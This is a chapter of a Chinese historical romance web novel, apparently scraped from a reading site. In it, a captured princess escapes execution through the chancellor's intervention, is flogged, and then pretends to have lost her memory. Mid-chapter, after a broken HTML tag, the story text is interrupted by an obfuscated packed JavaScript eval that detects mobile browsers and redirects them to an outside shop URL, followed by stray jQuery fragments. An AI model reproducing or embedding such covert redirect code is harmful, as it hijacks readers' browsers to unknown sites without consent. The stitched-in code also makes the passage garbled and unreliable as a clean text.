朝容脸色蓦地一白,不敢置信的瞪大了眼睛。
李尚宫等人也是魂飞魄散,素闻蛮子杀人不眨眼,果然如此,而且还不分青红皂白。
“可汗请三思,”就在殿中鸦雀无声之时,右边的朝臣里走出一人,躬身道:“五弟之事虽然令人难过,但是朝华公主并非罪魁祸首,说起来那个董氏才最为可恶!”
“承义,你这是要替云桑人求情?”慕容翟眯了眯眼睛,语气不善。
“可汗请听臣说完,公主是南边朝廷送来的,意义非同小可,如果咱们就这样把她杀了,会惹天下非议。大燕国虽然日渐强盛,可咱们的国土和子民都无法跟云桑比。这才休战了几个月,一旦战事再起,臣实在担心军中有些吃不消。”那人义正词严道。
“父汗,慕容承义胆小怯懦,向来主和,一定是想借机向云桑小朝廷投诚献媚,这就是堂而皇之的通敌,请父汗明鉴!”左边走出一人,愤然道。
“三弟这话说的可就有失稳妥了,”慕容承义挑眉道:“说起打仗,当年我们兄弟随汗父南征北战的时候,你还在家里玩泥巴呢吧?”
“你……”
眼看着两人就要吵起来了,角落里传来一个苍老却沉稳的声音:“可汗,老臣有话说!”
**
殿上诸人循声望去,就见王座左侧那静静坐着的紫袍老人缓缓站了起来,他虽然须发皆白年已老迈,但是走起路来步伐还算稳健。
朝容此刻已渐渐回过神来,抬起头好奇地望着他。
老人走到了殿中,躬身道:“老臣认为,齐王殿下所言甚是。”
他回过头扫了眼呆若木鸡的朝容,温声道:“人死不能复生,昨夜的事到底谁对谁错,再分辨已经没有意义。王妃指认朝华公主火烧撒乔王爷,并推他致死,却空口无凭,纯属猜测。就算是到了公堂上,也不能判决。要说罪魁祸首,老臣认为,比董氏更加罪大恶极的,是昨夜王爷身边的亲随。他们负责保护王爷,却让王爷不幸蒙难,实在是百死莫赎。”
“国相这番说辞倒是新鲜……”慕容翟慢慢消了气,缓缓道:“您还有什么话要说吗?”
老人笑了一下,躬身道:“是这样的,如今朝华公主容颜已毁,想必可汗也不会再将她收入后宫,毕竟您的身边最不缺的便是绝色美人。老臣斗胆,恳求可汗将朝华公主赐予老臣。”
此话一出,满座哗然。
就连朝容了愣住了,她与此人萍水相逢,为何他要替自己解围?
慕容翟失笑道:“国相是大燕国第一功臣,想要什么样的美人只需要说一声,哪怕是后宫佳丽,孤也愿割爱。为何你却偏偏挑了朝华公主?依孤来看,公主脸上那伤疤,就算是请来大燕国最有名的巫医,怕是也回天乏术。”
“多谢可汗美意,”老人神色自如,微笑道:“老臣这把年纪了,就算有佳人也无福消受。这些日子老臣奉命整理从紫薇城缴获来的书籍,时日久了,便头脑昏聩,眼花缭乱,就想找个人帮忙。”
老人缓了口气,继续道:“前后找了不少,可都不尽如人意。方才老臣暗中观察,见这位公主气质清华温雅沉静,一看就是耐得住性子的人。云桑皇室对公主和皇子们的教育一视同仁,所以老臣想,朝华公主对于云桑宫廷秘藏的古籍卷宗应该比寻常宫女或官员们熟悉,若是有她相助,老臣就如虎添翼。”
原来如此,大家都不由得舒了口气,只有朝容却把一颗心提到了嗓子眼,文字虽然熟识,可她从来没去过云桑,更没有进过宫,哪有机会摸云桑的案卷古籍?
“好,既然国相大人开了口,孤也不好驳您的面子。”慕容翟倒也爽快,继续道:“不过云桑人对咱们大燕国怀恨在心,想必不少人心中都想着逃往南方复辟王朝呢!”
他目光如炬,扫视着殿下的朝容,沉声道:“朝华公主身份非同小可,孤不得不防。既然国相大人属意公主,孤就拜托您一件事。”
“可汗请讲,老臣洗耳恭听!”老人欣喜道。
“即日起,朝华公主便归你国相府,日后她要是有任何不轨的举动,或者做出对大燕国不利的事情,国相府都要受连坐。”慕容翟肃然道。
殿上诸人又是一惊,这可是个烫手山芋,国相这是老糊涂了吧?
大家都琢磨着他可能要退缩,没想到他立刻谢恩:“老臣领旨,日后朝华公主的教化都归老臣。若她做出对大燕国不利的事,但老臣却没有察觉,那老臣甘愿受罚。”
“好!”慕容翟大手一挥,厉声道:“来人!死罪可免,活罪难逃。无论如何,撒乔的死,朝华公主脱不开干系,拖下去抽三十鞭,以儆效尤!”
朝容打了个冷战,有些惊恐的抬头望向了慕容翟。
幼年时哥哥们没少被父亲拿马鞭子抽,虽然未下重手,但那惨状还是触目惊心。
这些蛮子抽她的话,可不会像父亲一样手下留情吧?
“可汗,请听奴婢一言!”就在她忧心忡忡之时,却听到身后一个女子的声音,竟然是李尚宫。
“哦,你有什么话要说?”慕容翟换了个坐姿,有些好奇地俯瞰着。
李尚宫直直跪下来,恳求道:“奴婢是云桑宫廷女官,自幼看着公主长大,奴婢愿意代替公主受罚,恳请可汗答应!”她说罢重重扣叩头。
“李尚宫,你……”朝容不可思议的望着她。
其余四人互相对望了一眼,犹豫着在李尚宫旁边跪下,都自愿替朝容分担刑罚。
“呵……呵呵呵,你们南边的女人可真有意思,”慕容翟面色有些古怪,笑着摇了摇头道:“既然你们执意如此,那孤就答应了吧!每人各赏五大鞭,带下去领罚吧!”
“等一下,”朝容心头大惊,她与那几个女子并无交情,心里实在过意不去,心头一急,径自上前跪下恳切道:“请可汗收回成命,一人做事一人当,我甘愿受罚。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313857|152359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“公主?”李尚宫大惊失色,扯住她的袖子语重心长道:“三十鞭子可不是开玩笑的,您一个人承受不来。如今、如今云桑落到了这种地步,奴婢们唯一能做的就是保护好您……”
“够了,”慕容翟似有些不耐烦,摆手道:“拉下去!”
**
朝容原本以为以咬牙忍住应该能挨得过去,没想到一鞭子下去整个人都懵了,想要运起真气护住筋脉都来不及。
许是伤势一直没能痊愈,连日来心力交瘁,才挨了几鞭子就痛晕了过去……
后来好像发烧了,浑浑噩噩中什么也记不清,只觉得浑身发烫、四肢酸软。
很久很久以后,醒来时看到窗下坐着一个女人,青衣高髻姿态娴雅,侧影有几分眼熟。
她正愣愣瞧着时,那人放下手中的活计起身走了过来。
“公主,您可算醒了,感觉怎么样?”她探手过来摸了摸她的头。
朝容有些纳闷,怎么李尚宫会在这里?
李尚宫看到她一脸迷茫,顿时有些焦急起来,“公主这是怎么了?不认识奴婢了吗?奴婢是尚宫李淑年啊!”
朝容心生一计,抬手揉着酸胀的脑袋装傻充愣,李尚宫这下子急坏了,跌足道:“莫非真的把脑子给烧坏了?哎呀,这里的大夫医术实在不敢恭维,这要是把您治坏了可怎么办?”
朝容准备起身,李尚宫忙上前扶住道:“快躺下,快躺下,公主真的不认识奴婢了呢?那您还记得自己是谁吗?要不奴婢再去找些巫医来……”
巫医?朝容顿觉好笑,难怪李尚宫会这么激动,云桑宫廷的御医肯定都是医术卓绝,她自然不会把北燕这些土生土长的巫医放在眼里了。
“我当然知道自己是谁呀,”朝容顺势躺下,皱着眉道:“等下我想想,这里是北燕的王城盛宁吧?你看上去有点眼熟……”
她沉吟了片刻,喃喃道:“以前好像见过你,但是记得不太清楚了,你是云桑宫廷的女官吧?”
她费了好大的功夫才把李淑年稳住,让她以为自己烧坏了脑子,记不清云桑往事了。
虽然李淑年还是有些狐疑,但是两年前朝华流落民间后她便没有见过,后来又发生了那么多事,难免会性情大变,于是就将信将疑的接受了朝容编的谎言。
朝容的烧退了,可背后伤却没好,每天都是李淑年过来给她换药,起先还有些不好意思,慢慢也就习惯了。
那天她受刑昏迷后就被带到了国相府,并且那个老人得知李淑年以前的官职后,顺便把她也带了回来。其他四人都被发配到宫里做了宫女。
北燕的房屋建筑和西辽虽然不同,但也有些相似,西辽主要防风沙,北燕是御寒。那些官邸豪宅大都是厚顶厚墙,以浑厚壮阔见长。
国相府规模倒是挺大,但是也就三重院子,前面是会客厅,中间是主人居住的大宅子,隔了一片花园后面是下人们住的院子。